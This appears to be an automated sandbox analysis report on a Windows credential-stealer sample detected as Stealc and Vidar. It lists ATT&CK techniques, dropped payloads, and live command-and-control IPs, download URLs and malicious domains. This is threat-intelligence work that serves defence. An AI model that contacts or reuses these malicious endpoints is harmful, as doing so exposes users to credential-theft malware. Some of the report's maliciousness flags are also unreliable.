Yara detected Stealc

Source: Yara match	File source: 00000033.00000003.2843261065.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1374560457.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2891886425.00000000008A1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1896494863.0000000000371000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6af0f0d802.exe PID: 5360, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE0C40 sqlite3_bind_zeroblob,	0_2_6CEE0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE0D60 sqlite3_bind_parameter_name,	0_2_6CEE0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE08EA0 sqlite3_clear_bindings,	0_2_6CE08EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CEE0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE06410 bind,WSAGetLastError,	0_2_6CE06410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE060B0 listen,WSAGetLastError,	0_2_6CE060B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE06070 PR_Listen,	0_2_6CE06070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE0C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0C030 sqlite3_bind_parameter_count,	0_2_6CE0C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD922D0 sqlite3_bind_blob,	0_2_6CD922D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE063C0 PR_Bind,	0_2_6CE063C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE094F0 sqlite3_bind_text16,	0_2_6CE094F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE094C0 sqlite3_bind_text,	0_2_6CE094C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE09480 sqlite3_bind_null,	0_2_6CE09480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE09400 sqlite3_bind_int64,	0_2_6CE09400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	41 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	211 Disable or Modify Tools	31 Input Capture	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	112 Process Injection	11 Deobfuscate/Decode Files or Information	Security Account Manager	2510 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	2 Obfuscated Files or Information	NTDS	11 Query Registry	Distributed Component Object Model	31 Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	12 Software Packing	LSA Secrets	9101 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 Process Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	381 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	381 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe	24%	ReversingLabs	Win64.Trojan.GenSteal
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	24%	ReversingLabs	Win64.Trojan.GenSteal
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\DocumentsBGIJJKKJJD.exe	53%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
b.tundara.dev	51.210.106.44	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
home.twentykm20sr.top	34.118.89.252	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
blade-govern.sbs	172.67.153.209	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	172.217.21.36	true	false	high
ip-api.com	208.95.112.1	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
w.tundara.dev	51.210.106.44	true	false	high
httpbin.org	18.213.123.165	true	false	high
assets.msn.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
time.windows.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
occupy-blushi.sbs	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
frogs-severz.sbs	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
https://c.msn.com/c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&MUID=0AACE1577F9E67D0137AF4147E876674	false
https://deff.nelreports.net/api/report?cat=msn	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
185.215.113.206/c4becf79229cb002.php	true
http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
https://bzib.nelreports.net/api/report?cat=bingbusiness	false
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false
https://blade-govern.sbs/api	true
185.244.212.106:2227	true
https://w.tundara.dev/ws?id=ZWM6ZjQ6YmI6ODI6Zjc6ZTAxOTg4Mjc0Mi1DQzU2LTFBNTktOTc3OS1GQjhDQkZBMUUyOUQ=	false
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
http://ip-api.com/json/	false
http://185.215.113.206/68b591d6548ec281/mozglue.dll	true
2vYIhome.twentykm20sr.top	true
https://c.msn.com/c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732657986087&w=0&anoncknm=app_anon&NoResponseBody=true	false
https://httpbin.org/ip	false
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.microsoft	4edf09f764.exe, 00000032.00000003.2808417246.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2916219673.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.3015738461.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2941499349.000000000137B000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/L	4edf09f764.exe, 00000034.00000003.3048746882.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3047329752.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3097168676.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3045518235.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3050151346.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/Y	4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	false
https://www.leboncoin.fr/	filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/ws	6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false
https://discord.gg/tls:	filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpEc	file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/e	4edf09f764.exe, 00000034.00000003.3006999439.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3008319488.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	false
https://www.msn.com	filer.exe, 0000001A.00000002.2727223517.000000C000135000.00000004.00001000.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	false
https://discord.com/api/v9/users/	filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	false
http://185.215.113.206/VVC:	6af0f0d802.exe, 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/x	4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001F.00000002.2510101380.0000019681581000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.2065	file.exe, 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	file.exe, 00000000.00000003.1792018069.0000000023BB3000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/apila	4edf09f764.exe, 00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/	filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php=6PROCESSOR_REVIS	file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/apiM	4edf09f764.exe, 00000034.00000003.3008319488.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3006999439.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.0000000001195000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	false
https://blade-govern.sbs/Us	4edf09f764.exe, 00000034.00000003.3006999439.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3047418528.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3008319488.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048746882.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	false
https://blade-govern.sbs/api(w	4edf09f764.exe, 00000032.00000003.2962948286.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/	filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	false
http://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts	filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	false
https://MD8.mozilla.org/1/m	filer.exe, 0000001A.00000002.2747248656.000000C000E56000.00000004.00001000.00020000.00000000.sdmp	false
https://blade-govern.sbs/Wi	4edf09f764.exe, 00000034.00000003.3047418528.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048746882.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	false
https://www.bbc.co.uk/	filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	false
https://httpbin.org/ipbefore	60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	false
https://bugzilla.mo	filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2727223517.000000C000176000.00000004.00001000.00020000.00000000.sdmp	false
https://blade-govern.sbs/apijh	4edf09f764.exe, 00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/ta	6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2878424249.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	false
https://msn.comXIDv10	filer.exe, 0000001A.00000003.2711307055.000001D7EEF20000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2714905608.000001D7EF000000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2712445211.000001D7EEF70000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2706147542.000001D7EED70000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2707870749.000001D7EEDF0000.00000004.00001000.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3012836918.00000000059A2000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3076994353.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3045272755.0000000005982000.00000004.00000800.00020000.00000000.sdmp	false
https://www.iqiyi.com/	filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	false
http://html4/loose.dtd	60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	false
https://blade-govern.sbs/THm	4edf09f764.exe, 00000034.00000003.2974126653.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2984206499.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/Y	6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
http://.css	60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phps	6af0f0d802.exe, 00000033.00000002.2898396120.0000000001588000.00000004.00000020.00020000.00000000.sdmp	false
https://account.bellmedia.c	filer.exe, 0000001A.00000002.2758566181.000000C00121C000.00000004.00001000.00020000.00000000.sdmp	false
https://login.microsoftonline.com	filer.exe, 0000001A.00000002.2747248656.000000C000936000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2758566181.000000C00121C000.00000004.00001000.00020000.00000000.sdmp	false
http://crl.thawte.com/ThawteTimestampingCA.crl0	filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	false
https://www.zhihu.com/	filer.exe, 0000001A.00000002.2758566181.000000C0010A2000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2727223517.000000C0000A2000.00000004.00001000.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	4edf09f764.exe, 00000034.00000003.3050247603.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	false
https://blade-govern.sbs/apiyK	4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	false
